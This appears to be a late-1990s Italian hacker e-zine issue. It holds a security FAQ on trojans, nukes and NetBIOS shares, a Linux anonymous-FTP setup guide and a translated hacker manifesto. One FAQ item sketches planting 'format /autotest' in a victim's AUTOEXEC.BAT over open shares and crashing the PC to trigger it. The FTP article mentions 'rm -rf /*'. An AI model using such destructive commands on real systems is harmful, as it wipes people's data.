|rebbe 0. |
| |
+--------------------------------------------------------------------------------+
| |
| [B16] Ma cosa può passare da 'ste benedette porte? |
| |
|Le porte comunemente utilizzate sono elencate alla faq [A03], mentre altre sulle|
|quali si verificano spesso degli attacchi sono riportate alla faq [C04]. E' im- |
|portante però sapere che il tipo di attacco che si può condurre (e quindi i peri|
|coli che si corrono) su una porta aperta dipende da cosa risiede su quella porta|
|cioé dal server in ascolto su di essa. |
| |
|Non bisogna però farsi prendere dalla frenesia di chiudere tutte le porte. Infat|
|ti, se una porta è aperta è (normalmente) perché ci deve passare qualche dato |
|"legittimo", come la porta 80 su macchine che ospitano un server web. In genera-|
|le, prima di chiudere una porta bisogna sapere perché sia aperta; per esempio, |
|il famigerato ICQ apre una porta per ogni comunicazione che ha in corso, e ques-|
|te non cadono nell'intervallo WKP, formato dalle porte <1024. E' possibile ren- |
|dersene conto aprendo una shell MS-DOS con ICQ attivo e scrivendo il comando "ne|
|tstat -na" (senza virgolette) che mostrerà tutte le porte attive e l'indirizzo |
|remoto a cui sono connesse, oltre allo stato della connessione ("netstat /?" per|
|avere tutte le opzioni). |
| |
+--------------------------------------------------------------------------------+
| |
| [B17] Può un intruso conoscere quello che scrivo sulla tastiera? |
| |
|Sì. Per far questo però è necessario che l'intruso riesca a far eseguire sul com|
|puter da spiare un "server" che intercetti la tastiera e memorizzi i tasti a ma-|
|no a mano che vengono premuti, e a intervalli più o meno regolari (o a ogni con-|
|nessione) li invii al "pirata", per esempio alla sua e-mail. La regola è quindi |
|sempre un controllo assiduo di quello che gira sul proprio computer, con il pro-|
|gramma AVP System Watcher ( http://www.avp.it ) o anche il WinTop dei Kernel Toy|
|(se si usa Windows 9x). Se sul computer è stato installato il server di Back Ori|
|fice, tale funzione è svolta dal file windll.dll (fra le altre). |
| |
+--------------------------------------------------------------------------------+
| |
| [B18] Ma il file windll.dll non e' un file di sistema di Windows? |
| |
|No. Il file windll.dll viene creato dal boserve.exe quando viene eseguito la pri|
|ma volta. Attenzione che il fatto di non averlo puo' non essere significativo: |
|il nome di questo file puo' essere facilmente modificato all'interno del file bo|
|serve.exe usando un editor esadecimale. AVP System Watcher, quando deve rimuover|
|la dll creata dal BO, prevede questa possibilita' ed e' in grado di eliminarla |
|anche se ha un altro nome. |
| |
+--------------------------------------------------------------------------------+
| |
| [B19] Ho ricevuto un messaggio e-mail con un allegato, ma quando tento di leg|
| gerlo il mio Outlook va in crash. |
| |
|"...questo bug affligge sia Outlook 98 sia Outlook Express compreso l'ultimissi-|
|mo Outlook 4.01 SP1 fornito con Microsoft Internet Explorer. In pratica, quando |
|il client e-mail riceve un messaggio con un attachment dal nome lunghissimo può |
|bloccarsi. ...un hacker preparato può preparare ad hoc un attachment il cui nome|
|contiene codice eseguibile con risultati imprevedibili" |
| |
+--------------------------------------------------------------------------------+
| |
| [B20] Come vedo se ho il protocollo NetBIOS su TCP/IP installato? Che rischi |
| corro? |
| |
|Basta andare in Pannello di Controllo / Rete / Protocolli e controllare la lista|
|I rischi che si corrono sono che e' possibile entrare nel computer inserendo il |
|suo IP in Avvio/Trova/Computer, se si ha Accesso Remoto aggiornato. Naturalmente|
|bisogna avere attivato delle condivisioni di risorse su alcune unita'/directory |
|del computer. Se questo e' necessario, almeno proteggerle con password. |
| |
+--------------------------------------------------------------------------------+
| |
| [B21] [MacOS] E' possibile far piantare il Mac tramite la rete? |
| |
|L'unica cosa che manda in bomba il System 8.1 con l'ultimo OpenTpt è se sta col-|
|legandosi (attivamente) a un server DDP e il server crasha. Resta per un po' con|
|fuso, poi si pianta il Finder e tocca riavviare. Anzi, una volta su cinque tocca|
|pure resettare la P-RAM. |
|Il problema sembra essere piu' grave utilizzando una scheda di rete Dayna 10/100|
|evidentemente non molto affidabile. Un dispositivo comunque non Apple. |
| |
+--------------------------------------------------------------------------------+
| |
| [B22] E' possibile che qualcuno riesca a navigare "sembrando me"? |
| |
|E' in effetti possibile. Questi simpaticoni cercano di connettersi alla porta 10|
|80, dove potrebbe esserci in ascolto un proxy socket. Se riesce nell'intento il |
|tuo computer puo' essere usato dall'attaccante come proxy im modo che il suo com|
|puter venga "nascosto" all'esterno e tutte le operazioni che compirà risulteran-|
|no effettuate dal computer attaccato. |
| |
+--------------------------------------------------------------------------------+
| |
| [B23] Senza programmi come Bo o NetBus e' possibile "entrare" nel computer di|
| qualcuno? |
| |
|Alcune versioni di Windows 95, di serie (o quasi), consentono l'accesso da Inter|
|net al disco. Win95 OSR2 se ne accorge all'installazione di Internet Explorer 4,|
|e propone di chiudere l'accesso. Si ricorda che se nel computer è attivata la |
|condivisione di file e stampanti, magari senza password, è possibile, conoscendo|
|il suo indirizzo IP, vederlo come unita' di rete da Gestione Risorse. Quando si |
|installa Windows o quando si compra il computer con Windows preinstallato, con- |
|trollare ed eventalmente disattivare ogni condivisione. Ricordo che Windows 9x |
|offre servizi di rete senza avere quelle caratteristiche di sicurezza (permessi |
|associati ai file, password) che hanno invece i sistemi multiutente come gli Uni|
|concepiti anche pensando a tali problematiche. |
|Un esempio di attacco a un computer con condivisioni attive e non protette: bast|
|mettere il comando opportuno nell'AUTOEXEC.BAT, ed alla successiva accensione |
|(che puo' essere anche dopo 30 secondi - perche' basta che mandare un nuke, il |
|PC si pianta, e il riavvio e' necessario) esso verrà eseguito, con quali risulta|
|ti dipende dal comando. Se per esempio il comando e' un bel format /autotest... |
| |
+--------------------------------------------------------------------------------+
| |
| [B24] Le porte UDP 137 e 138 sono un rischio? E perché? |
| |
|Sono porte dedicate al NetBios. La 137 è dedicata al NetBios Name Service, la138|
|al NetBios Datagram Service. Fanno parte delle cosiddette "well known ports" i |
|cui indirizzi sono stati assegnati dallo IANA (Internet Assigned Numbers Author)|
|che attualmente gestisce le assegnazioni delle porte nel range 0-1023. Possono |
|essere soggette ad attacchi DoS (Denial of Service). Anche il semplice WinNuke, |
|con il suo invio di dati OOB, può risultare efficace sulle porte 137 e 138, seb-|
|bene in prima istanza l'attacco OOB venne concepito sulla porta 139 (NetBios Ses|
|sion Service). Riguardo al WinNuke, Microsoft ha rilasciato delle patch sul suo |
|sito Web. |
| |
+--------------------------------------------------------------------------------+
| |
| [B25] Ho notato che ogni volta che mi connetto a internet si aprono automati-|
| camente queste due porte 137 e 138. Io ho la versione OSR2 di win95, è |
| un problema di questa versione? |
| |
|Potrebbe esserlo se ti attaccassero su quelle porte sfruttando bug dello stack |
|TCP/IP di MS o semplicemente i limiti insiti in tutti i protocolli basati sul |
|TCP/IP (vedi alla voce "SYN flooding"). Per impedire l'apertura delle due porte |
|suddette, basta eliminare il supporto per il NetBios nelle risorse di rete. |
|Il supporto del NetBios su TCP/IP (NBT) diventa particolarmente pericoloso se |
|hai anche le "shares" (condivisioni di file e/o stampanti) impostate senza pas- |
|sword, fatto che si verifica comunemente in almeno il 5% degli utenti Windows. |
|In quel caso, chi localizza il tuo IP sulla rete puo' entrare nel tuo computer |
|come un falco, usando semplicemente il comando NET o l'Esplora Risorse. |
| |
+--------------------------------------------------------------------------------+
| |
| [C01] Proteggere il sistema - Info generali |
| |
|La prima regola fondamentale è di non eseguire __MAI__ alcun file che non sia di|
|provenienza più che accertata. Questo ancor di più se si è soliti, per esempio, |
|chattare con mIRC o ICQ e qualche interlocutore vi spedisca dei file. Non esegui|
|teli, neanche se promettono di farvi materializzare dal modem una Pamela Ander- |
|son nuda e disponibile :-)) Il pericolo può essere maggiore di quello costituito|
|da un virus "tradizionale". In ogni caso, poiché prevenire è meglio che curare, |
|due programmi di utilità sono: |
| |
| - Nuke Nabber ( http://tucows.iol.it , http://volftp.tin.it ) |
| - AVP System Monitor ( http://www.avp.it/utility ) |
| |
|Il primo è un antinuke che pero' ha il difetto di aprire le porte per controllar|
|le; dovrebbe esistere però una patch che serve a chiuderle. Il secondo è un anti|
|BO/monitor di sistema, freeware, scritto da Paolo Monti (l'autore è reperibile |
|su it.comp.irc). Per utilizzare NukeNabber bisogna avere Winsock 2 o superiori |
|(attualmente siamo alla 2.2), se si hanno versioni precedenti l'aggiornamento è |
|scaricabile come al solito dal sito Microsoft o da vari archivi ftp (con VOLftp |
|si va tranquilli); la versione 2 o superiore del Winsock è necessaria per la sca|
|nsione ICMP. |
| |
|Questo introduce un'altra regola di base, che è quella di tenere costantemente |
|aggiornato il sistema nelle sue componenti vitali come lo stack TCP/IP, per evi-|
|tare di esser vittime di vecchi bug corretti da versioni successive del software|
| |
+--------------------------------------------------------------------------------+
| |
| [C01a] Come si configura correttamente il Nuke Nabber? |
| |
|Come già indicato sono necessarie le winsock 2.x per utilizzare tutte le funzion|
|dello stesso (per incisio, se lo si utilizza su di un sistema winNT, oppure in |
|rete locale con macchine UNIX è possibilie configurare le attività di logging |
|rispettivamente nell'event monitor oppure verso il demone syslogd). |
|Vi sono due filosofie d'utilizzo di questo sw:(a) Permettergli di controllare |
|tutto il controllabile, (b) Sintonizzarlo solo ed esclusivamente dove è utile; |
|la seconda serve ad evitare che il sistema sia vittima di attachi che richiedono|
|"porte aperte" e che il Nabber non è in grado di gestire. |
| |
|Quando il Nabber controlla una porta, questa viene lasciata aperta (vedi sez. |
|TCP/IP), dovrebbe esistere una patch per effettuare una chiusura preventiva |
|[[dove ?????]], solo dopo uno scan e/o attacco questa viene chiusa. |
|Configurare il Nabber, in File -> Options -> General almeno due opzioni devono |
|essere selezionate: "Block port scan" (chiude le porte dopo uno scan) e "Disable|
|port for....." (evita di riaprirle per X secondi). Poi, in File -> Options -> |
|Advanced si possono controllare le attivita' di monitoring sulle porte. |
|Se si decide per (a) (vedi sopra) indicare le porte segnate con (a) alla voce |
|monitoring nell'elenco presente in [PORT-Appendice] e riportate anche qui per |
|brevita'. NukeNabber di default controlla le seguenti porte: 5001 (tcp), 5000 |
|(tcp), 1080 (tcp), 1032 (tcp), 1029 (tcp), 1027 (tcp), - 139 (tcp), 138 (tcp), |
|137 (tcp), Queste devono restare, ma disinstallando NetBIOS o installando WinNu-|
|ke95 e selezionando "Patch against Nuke", le si puo' togliere. - 129 (tcp), ma |
|non e' un servizio standard. - 53 (tcp), si può togliere, a meno di non avere un|
|DNS sul PC, accessibile dall'esterno. - 19 (udp). su Windows 95 non c'è il servi|
|zio chargen corrispondente alla porta. Su WinNT, va elimitato, dal pannello di |
|controllo "Small TCP Services", perche' si puo' indurre NT a cortocircuitare le |
|proprie porte 19 e 53, con risultati non proprio esaltanti. Con Windows 95/98 no|
|(non c'e' il servizio). Vanno aggiunte invece le seguenti: |
| |
| - 31337 (udp), Porta di default del Bo. |
| - 61466 (tcp), 50505 (tcp) |
| - 12345 (tcp), 12346 (tcp),porte utilizzate da NetBus. |
| |
|Se si segue la filosofia (b) ci si limitera' a: ICMP / 139 (TCP) / 19 (UDP) |
| |
|Si tenga comunque presente che gli scan alla ricerca di backdoor/server vari non|
|sono pericolosi in quanto tali - il Nabber è veramente essenziale solo se si uti|
|lizza IRC, dal momento che ci sono persone che attaccano sistematicamente tutti |
|quelli che si affacciano su di una canale |
| |
+--------------------------------------------------------------------------------+
| |
| [C02] Le componenti di rete, ovvero: cosa tengo e cosa tolgo? |
| |
|Anzitutto, se possibile. togliere assolutamente i protocolli NetBEUI e IPX/SPX, |
|o almeno il binding con Accesso Remoto (se si ha Windows). Questi servono per re|
|ti locali e non per Internet; nel caso di un computer a casa collegato a Interne|
|con modem e accesso tramite provider su linea telefonica, nelle proprietà della |
|Rete dovrebbe esserci solo Scheda di Accesso Remoto e TCP/IP in binding con essa|
|Eliminare se possibile anche il client per reti Microsoft. Condivisioni: elimina|
|re o, se necessarie, proteggere con password le directory condivise. I protocol-|
|li NetBEUI e IPX/SPX non devono comunque essere associati ad Accesso Remoto ma |
|solo al driver della scheda di rete. |
| |
+--------------------------------------------------------------------------------+
| |
| [C03] Ma se tolgo il Client per reti MS non mi memorizza più la password!!! |
| |
|Meglio!!! ^__^ Ogni informazione memorizzata nell'hard disk è a disposizione del|
|l'hacker oppure lamer di turno. Almeno gli si renda la vita più difficile non fa|
|cendogli trovare bello e pronto quel che cercano. I file .pwl di Windows, poi, |
|dove vengono memorizzate le password, non sono certo difficili da decifrare (ve-|
|di patch per la sicurezza che Microsoft ogni tanto emette). Ricordo che se qual-|
|cuno vi frega la pass di accesso a Internet poi si può connettere e per il pro- |
|vider (E PER L'AUTORITA' GIUDIZIARIA) sarete voi a esservi connessi e ad averw |
|commesso eventuali atti illeciti. A meno che riusciate a dimostrare di essere |
|stati craccati (della serie, campa cavallo...). |
| |
+--------------------------------------------------------------------------------+
| |
| [C04] Quali porte controllare con NukeNabber? |
| |
|NukeNabber di default controlla le seguenti porte: |
| |
| - 5001 (tcp), 5000 (tcp), 1080 (tcp), 1032 (tcp), 1029 (tcp), 1027 (tcp), |
| Queste possono essere cancellate: le >1024 sono aperte in outbound. |
| - 139 (tcp), 138 (tcp), 137 (tcp), |
| Queste devono restare, ma disinstallando NetBIOS o installando WinNuke95 e |
| selezionando "Patch against Nuke", le si può togliere. |
| - 129 (tcp), 129 non è un servizio standard. |
| - 53 (tcp), si può togliere, a meno di non avere un name server sul PC, acces- |
| sibile dall'esterno. |
| - 19 (udp). su Windows 95 non c'è il servizio chargen corrispondente alla porta|
| Su WinNT, va elimitato, dal pannello di controllo "Small TCP Servi-|
| ces", perché si può indurre NT a cortocircuitare le proprie porte |
| 19 e 53, con risultati non proprio esaltanti. Con Windows 95/98 no |
| (non c'è il servizio). |
| |
|Vanno aggiunte invece le seguenti: |
| |
| - 31337 (udp), Questa e' la porta di default del Bo. |
| - 61466 (tcp), Master Paradise |
| - 50505 (tcp), icqtrogen |
| - 12345 (tcp), 12346 (tcp). Su queste porte può arrivare una connessione NetBus|
| |
|Attenzione che NukeNabber e' un programma di monitoraggio e non una protezione |
|vera e propria. Esso consente di sapere se le porte sotto controllo sono sotto |
|attacco, ma non è efficace contro attacchi tipo Land, Boink, Teadrop I e II, |
|Ssping ecc... |
| |
+--------------------------------------------------------------------------------+
| |
| [C05] Cosa uso per controllare l'attivita' di rete del mio computer? |
| |
|DOS Win95 Linux |
| |
| tracert tracert traceroute |
| ping ping ping |
| netstat netstat netstat |
| nbtstat nbtstat nbtstat |
| - NukeNabber tcplogd |
| - - tcpd |
| - NukeNabber(?) icmpd |
| - - strobed |
| - - - route route (1) route |
| - aggressor aggressor |
| fdisk fdisk fdisk |
| - win startx ;-) |
| - office staroffice |
| pov pov32 povray |
| ... |
| |
| (1) Non funziona bene |
| (2) Children, DO NOT DO THIS AT HOME |
| (C) Leonardo Serni, da un post del quale ho brutalmente copy&past-ato la tabel|
| la di cui sopra (siiii', anch'io lamer!) |
| |
+--------------------------------------------------------------------------------+
| |
| [C06] Password mantenute in cache |
| |
|Un piccolo suggerimento per tutti: è possibile evitare l'uso delle cached pas- |
|sword modificando una chiave nel Registry. Basta impostare al valore 1 la seguen|
|te chiave: |
| |
| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ |
| Network\DisablePwdCaching|
| |
+--------------------------------------------------------------------------------+
| |
| [C07] Ho il programma WinTOP dei Kernel Toys. Serve a qualcosa? |
| |
|Si'. WinTOP (che si può lanciare da Avvio[Start]/Esegui, scrivere wintop.exe) |
|mostra un elenco di tutti i processi attivi nel computer, con la possibilità per|
|ognuno di essi di avere l'elenco dei thread generati. A differenza della fines- |
|tra che appare premendo CTRL-ALT-DEL, in WinTOP viene mostrato tutto quello che |
|è in esecuzione, e quindi si possono individuare cose "non regolari". |
| |
|Idle, kernel32, msgsrv32, mprexe, mmtask, explorer, rundll32 sono task di siste-|
|ma. Per vedere i dettagli di un processo, cliccate con il tasto destro e sceglie|
|te Properties: qui in due schede sono mostrate, appunto, le proprietà del proces|
|so. Quello che interessa e' la seconda, dove può essere presente un bottone "Ter|
|minate process now", che permette appunto di uccidere il processo. Il bottone è |
|disponibile sui processi contrassegnati dalla finestra, mentre quelli contrasse-|
|gnati dalla ruota dentata non possono essere terminati in questo modo. |
| |
| [Attenzione] WinTop non permette di effettuare la chiusura dei processi con ca-|
| ratteristiche di servizi di sistema, mentre con AVP System Watch è|
| possibile fare anche questa operazione. |
| |
+--------------------------------------------------------------------------------+
| |
| [C08] E' vero che si possono far eseguire dei programmi dannosi allegandoli |
| a un messaggio e-mail? |
| |
|Dipende da cosa si intende dire. In generale, una mail è costituita da una seque|
|nza di caratteri ASCII, che vengono mostrati in una finestra del programma di |
|posta elettronica, ma non sono eseguiti. La mail può però contenere un allegato |
|di tipo qualunque, e ai fini della sicurezza del sistema interessano due classi |
|di file: eseguibili (.exe, .com) e binari creati da applicazioni che hanno un |
|certo livello di programmabilità per mezzo di macrolinguaggi (documenti Word o |
|Excel, per esempio). Il testo della mail non è pericoloso, al contrario di quel |
|che dicono dei messaggi terroristici che periodicamente spammano i newsgroup. |
| |
|Il discorso cambia per gli allegati suddetti. Un file di Winword può contenere |
|una macro che in realtà è un macrovirus, e la sua apertura CON WINWORD può infet|
|tare il computer col virus stesso. Un file eseguibile può anch'esso essere infet|
|to. Non si proseguirà qui sul discorso dei virus, esistendo un newsgroup dedica-|
|to ad essi, cioè it.comp.sicurezza.virus, e le relative FAQ. |
| |
|I pericoli che possono nascondersi negli eseguibili non sono però finiti. |
|Un eseguibile può nascondere un trojan o una backdoor, ed eseguendolo vengono in|
|stallati questi ultimi. Qui il trucco non sta solo nell'avere programmi antiviru|
|e di monitoraggio aggiornati e sofisticati, ma soprattutto in un settaggio furbo|
|del programma di posta. Questo deve essere impostato in modo che gli allegati |
|"sensibili" non vengano aperti direttamente cliccandoci sopra, ma salvati su dis|
|co per poterli passare con comodo all'antivirus e agli altri controlli. In poche|
|parole, un .jpeg può essere automaticamente aperto, un documento Word NO, NO, |
|NO, NO, NO (ripetere n volte, con n->oo) e neppure un eseguibile. |
| |
+--------------------------------------------------------------------------------+
| |
| [C09] Posso proteggere un file o una directory sotto Windows da accessi |
| indesiderati? |
| |
|Certo. Naturalmente, a causa della natura intrinsecamente insicura di Windows |
|(TUTTE le versioni dal 98 in giù) dovuta al fatto che si tratta di un sistema |
|sostanzialmente monoutente, questo è impossibile in maniera nativa, e i program-|
|mi che si possono trovare sono tutti più o meno aggirabili (basta un boot da dis|
|chetto per accedere al sistema, anche se da DOS puro, a meno di disabilitarlo |
|dal BIOS). |
| |
|Se la partizione in cui si trova il file/directory da proteggere è formattata |
|FAT-16 (cosa facilmente verificabile con un click destro sulla unità, scegliendo|
|Proprietà/Generale e controllando la presenza o meno della dicitura FAT-32 ac- |
|canto alla riga Tipo: Disco locale), c'è però un trucco semplice, che necessita |
|di un programma come il buon vecchio PC-tools. |
| |
|Per facilitare le cose, si mettano i file in un'unica directory, chiamata ad es |
|"VARIEK". Riavviare in Modalità MS-DOS (NON il prompt!!!), lanciare PC-tools, lo|
|calizzare la directory VARIEK e sostituire la K con ALT+255; questo è un caratte|
|re che sembra lo spazio, e l'effetto è di rendere la directory inaccessibile sia|
|da DOS che da Windows. Per entrarvi, occorre utilizzare di nuovo PC-tools e rim-|
|piazzare ALT+255 con un carattere alfanumerico. La cosa può sembrare macchinosa,|
|ma è possibile scrivere un programma che faccia il cambio in automatico, cosic- |
|ché per entrare nella directory e accedere ai file contenuti basta lanciare il |
|programmino e una volta finito rieseguirlo per compiere l'operazione opposta. |
|Stessa cosa per i nomi dei singoli file, per esempio per creare in dos dei file |
|con spazi inframezzati, o in Windows (3.1 o anche 95) scrivere file che windows |
|non può rileggere se non dopo accurata modifica del nome. |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [VARI] -=[09]=- |
| Come mettere un Server FTP Anonimo su Linux Tormento |
+--------------------------------------------------------------------------------+
| |
|Allora, chi di voi ha sempre desiderato di aprire mettere su un FTP sul proprio |
|computer e non ci è mai riuscito? Nessuno??? |
|Vabbé, comunque io ve lo spiego lo stesso, visto che con Linux questo è possibi-|
|le... |
|A prescindere dal fatto che decidiate di fornire un ftp anonimo oppure solo un |
|accesso FTP al sito, dovete comunque svolgere alcune operazioni di configurazio-|
|ne. Per essere certi che gli utenti non ottengano l'accesso ai file sbagliati, |
|dovete rendere attivo e in esecuzione il demone FTP (ftpd) e impostare corretta-|
|mente i permessi per il filesystem. |
| |
|Inanzitutto, scegliete un nome per il sito. Per utilizzare l'FTP non è indispen-|
|sabile avere un nome del sito, ma in questo modo le persone vi troveranno più fa|
|cilmente. La sintassi è questa: |
| |
| FTP.NOMEDELDOMINIO.TIPODOMINIO |
| |
|NOMEDELDOMINIO si riferisce al nome di dominio del server mentre |
|TIPODOMINIO si riferisce all'estensione DNS (.com , .net etc.) |
| |
|Quando viene effettuata una connessione FTP, il programma segue una procedura |
|suddivisa in cinque fasi per ogni connessione. |
| |
| 1. Login: riceve e controlla il nome utente e la password |
| 2. Definire la directory: identifica la directory di partenza |
| 3. Definire la modalità di trasferimento |
| 4. Avviare il trasferimento dei dati: permette all'utente di immetere comandi |
| 5. Interrompere il trasferimento dei dati: chiude la connessione |
| |
|Per permette al server FTP di gestire queste attività, occorre impostare il de- |
|mone FTP, ftpd e configurarlo. |
|Il demone ftpd deve essere avviato sul server FTP. Questa operazione viene di |
|solito eseguita avendo un demone inetd che la gestisce e viene avviata solo quan|
|do qualcuno vuole l'FTP. |
| |
|Inetd osserva la porta del comando TCP (porta 21) in attesa che arrivi un pac- |
|chetto che richiede una connessione e poi quando arriva un pacchetto attiva in |
|modo dinamico il demone ftpd. |
| |
|Per essere certi che il demone ftpd possa essere avviato da inetd, esaminate il |
|file di configurazione di inetd, che si trova in /etc/inetd.conf , per vedere se|
|è presente una riga simile alla seguente: |
| |
| ftp stream tcp nowait root /usr/etc/inetd ftpd -l |
| |
|Se non c'è, dovrete aggiungerla. Di solito si trova nella maggior parte delle |
|distribuzioni ma è anche possibile che la troviate sotto forma di commento (con |
|il segno # davanti), dunque in quel caso basta che togliate il cancelletto (che |
|non è un cancello piccolo ma il segno #) |
| |
|Per cambiare il comportamento del demone ftpd, potrete aggiungere altre opzioni |
|come -l. |
|L'opzione -l può essere personalizzata per registrare informazioni diverse sulle|
|attività dell'FTP. Se specificate l'opzione -l avrete un file log delle sessioni|
|Se, invece, lo specificate due volte, avrete anche un file log di tutti i coman-|
|di. Se lo specificate tre volte, ottenete anche le dimensioni di tutti i trasfe-|
|rimenti effettuati. |
| |
| Login |
|Se avrete intenzione di impostare un FTP dove ogni utente abbia il proprio login|
|e la propria password, dovrete creare le voci per gni utente nel file |
|/etc/passwd. Se avete intenzione di non fornire un accesso anonimo, non create |
|login troppo semplici che chiunque potrebbe utilizzare. |
| |
|Se avrete intenzioni di offrire connessioni con login anonimo, dovrete creare un|
|login per l'ID utente anonimo. Questo login potrebbe già essere presente e quin-|
|di controllate se esiste nel file /etc/passwd. Potrebbe assomigliare alla seguen|
|te: |
| |
| ftp:*:400:51:Anonymous FTP access:/usr/ftp:/bin/false |
| |
|Questa sintassi imposta l'utente anonimo con un login di FTP, un numero utente |
|di 400, un numero di ID di gruppo e una directory di login. Sarebbe meglio asse-|
|gnare gli utenti anonimi a un gruppo separato modificando il file /etc/group e |
|creando un nuovo gruppo. Poi, potete impostare l'utente FTP per quel gruppo. |
|Se gli utenti FTP hanno un unico gruppo, diventa più facile impostare i permessi|
|e limitare l'accesso al sistema. |
| |
| Directory |
|Nei limiti del possibile, sarebbe meglio avere le sottodirectory degli utenti a-|
|nonimi come un filesystem separato, senza alcuna possibilità per l'utente anoni-|
|mo di andare da qualche altra parte tranne che nella sottodirectory designata a |
|quello scopo. Quindi, dovete creare un filesystem in miniatura per l'utente FTP |
|anonimo. Ecco come impostare le directory: |
| |
| 1. Create le directory /bin (come /usr/ftp/bin) e copiatevi il comando ls |
| 2. Create la directory /etc e copiatevi i vostri file /etc/passwd e /etc/group|
| 3. Create la directory /lib e copiatevi i file /lib/id.so e /libc.so.xx |
| 4. Create la directory /pub per contenere i file accessibili |
| 5. Create la directory /dev |
| |
|Le copie dei file /etc/passwd e /etc/group che sono state copiate nella directo-|
|ry /etc dell'FTP devono essere modificate per sostituire qualunque password con |
|un asterisco. Nei file /etc/passwd e /etc/group devono essere eliminate tutte le|
|voci, tranne quelle che appartengono ai login FTP anonimi in modo da vere maggio|
|re sicurezza. |
| |
|La directory /pub ,invece, può essere utilizzata per memorizzare i file che vole|
|te rendere accessibili dagli utenti anonimi. Questa directory può essere suddivi|
|sa in sottodirectory e i file che volete che l'utente anonimo abbia possono esse|
|re semplicemente copiati. |
| |
| Sicurezza |
|Siamo hackers ed abbiamo nemici hackers. Se qualcuno digita il comando rm -rf /*|
|siamo fottuti! |
|Ed è per questo motivo che dovete utilizzare il comando chroot per fare apparire|
|la directory root qualcosa di diverso dalla directory effettiva /. |
| |
|Se la directory è impostata a /usr/-ftp/ con chroot, l'utente può essere mantenu|
|to all'interno della struttura dlla directory -ftp e puo' essere negato l'acces-|
|so al sistema. |
| |
|Per impostare i permessi della directory in modo che abbia solo i permessi di |
|lettura e esecuzione, utilizzate il seguente comando: chmod 555 nome_dir |
| |
|Dopo aver fatto tutto ciò provatevi a connetervi al vostro sistema via ftp e fa-|
|te un test. Se avete settato bene i permessi e non riuscirete ad accedere alla |
|directory root, significa che il vostro ftp è ok. |
| |
|Qui di seguito vi riporto un elenco di cose da fare per far funzionare meglio |
|l'FTP: |
| |
| 1. Create un account utente sul sistema denominato FTP |
| 2. Impostate la directory home per l'utente ftp /home/ftp |
| 3. Rendete il root proprietario della directory home FTP con il comando chown |
| root /usr/ftp |
| 4. Utilizzate il comando chmod ugo -w /usr/ftp per non permettere a nessuno di|
| scrivere nella directory home dell'FTP |
| 5. Create una directory /bin nella directory home /ftp e rendetela non scrivi-|
| bile e di proprieta' di root con i comandi chown e chmod utilizzati in pre-|
| cedenza |
| 6. Create una directory /etc e rendetela non scrivibile e di proprietà di root|
| 7. Inserite i file /etc/passwd e /etc/group nella directory /ftp/etc e modifi-|
| cateli per eliminare tutto tranne l'utente ftp e group |
| 8. Create la directory -ftp/pub/incoming e rendetela scrivibile da chiunque e |
| di proprietà di root |
| |
|Ora potete mettere su un bell'FTP. Mi raccomando chi fra voi lo metterà, mi con-|
|tatti ed io sarò molto contento di vederlo. |
| |
|Ecco fatto! Si e' concluso anche quest'altro articolo. Che fatica! |
| |
+--------------------------------------------------------------------------------+
| |
| (-:(-:(-:(-NICK--):-):-):-) |
| (-:(-:(-:T0rment0 :-):-):-) |
| (-:(-:(-:(-:MAIL-):-):-):-) |
| (-:(-:urkes@hotmail.com :-) |
| (-:(-:(-:(-HOME--):-):-):-) |
| (-:come.to/hackernovello:-) |
| (-:(-:(-:(-::-):-):-):-):-) |
| |
+--------------------------------------------------------------------------------+
.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.
+--------------------------------------------------------------------------------+
| Gick-Zine n° 2 - [VARI] -=[10]=- |
| MANIFESTO Mentor |
+--------------------------------------------------------------------------------+
| |
|Un altro è stato preso oggi, è su tutti i giornali. "Adolescente arrestato nello|
|scandalo del crimine informatico", "Hacker arrestato dopo aver tentato di mano- |
|mettere una banca"... Maledetti ragazzi. Sono tutti uguali. |
| |
|Ma avete mai, nelle vostra psicologia da tre soldi e nel vostro tecnocervello |
|del 1950, guardato oltre gli occhi dell'hacker? Vi siete mai chies
ti cosa lo fa |
|spuntare, quali forze lo condizionano, cosa ha potuto formarlo? Io sono un Hac- |
|ker, entrate nel mio mondo... Il mio è un mondo che inizia con la scuola... sono|
|più intelligente della maggior parte degli altri ragazzi, questa merda che ci in|
|segnano mi annoia... Dannati sottosviluppati. Sono tutti uguali. |
| |
|Sono alla scuola superiore. Ho ascoltato insegnanti che spiegavano per la quindi|
|cesima volta come ridurre una frazione. L'ho capito. "No, Mr. Smith, non ho mos-|
|trato il mio lavoro. L'ho nella mia testa..."Maledetti ragazzi. Probabilmente l'|
|ha copiato. Sono tutti uguali. |
| |
|Ho fatto una scoperta oggi. Ho trovato un computer. Aspetta un secondo, è forte.|
|Fa quello che voglio. Se fa un errore, è perché ho combinato un guaio. |
|Non perché non gli piaccio... O perché ha paura di me... O pensa che io sia un |
|culo intelligente... O non gli piace insegnare e non dovrebbe essere qui... Dan-|
|nati ragazzi. Tutto quello che fa è far funzionare i giochi. Sono tutti uguali. |
| |
|E poi è successo... si è aperta una porta su un mondo... correndo sulle linee |
|del telefono come l'eroina nelle vene di un drogato, un impulso elettronico vie-|
|ne spedito, cerco un rifugio dalle incompetenze quotidiane... trovo una BBS. |
|"È qui... qui è dove io sono..." Conosco tutti qui... anche se non li ho mai in-|
|contrati, non ho mai parlato con loro, e forse non li sentirò più... Vi conosco |
|tutti... Dannati Ragazzi. Ancora attaccato alla linea telefonica. Sono tutti ugu|
|ali. |
| |
|Puoi scommetterci il culo che siamo tutti uguali... Siamo stati bambini nutriti |
|con un cucchiaio a scuola quando noi desideravamo ardentemente una bistecca... |
|i pezzi di carne che avete lasciato cadere erano pre-masticati e senza sapore. |
|Siamo stati dominati da sadici, o ignorati dagli apatici. I pochi che avevavo qu|
|alcosa da insegnarci ci hanno visto come alunni volenterosi, ma questi pochi so-|
|no come gocce d'acqua in deserto. |
| |
|Questo ora è il nostro mondo... il mondo dell'elettrone e del commutatore, la |
|bellezza del baud. Noi facciamo uso di un servizio che esiste già senza pagare |
|per quello che potrebbe essere a buon prezzo se non fosse gestito da avidi pro- |
|fittatori, e voi ci chiamate criminali. |
|Noi esploriamo... e voi ci chiamate criminali. |
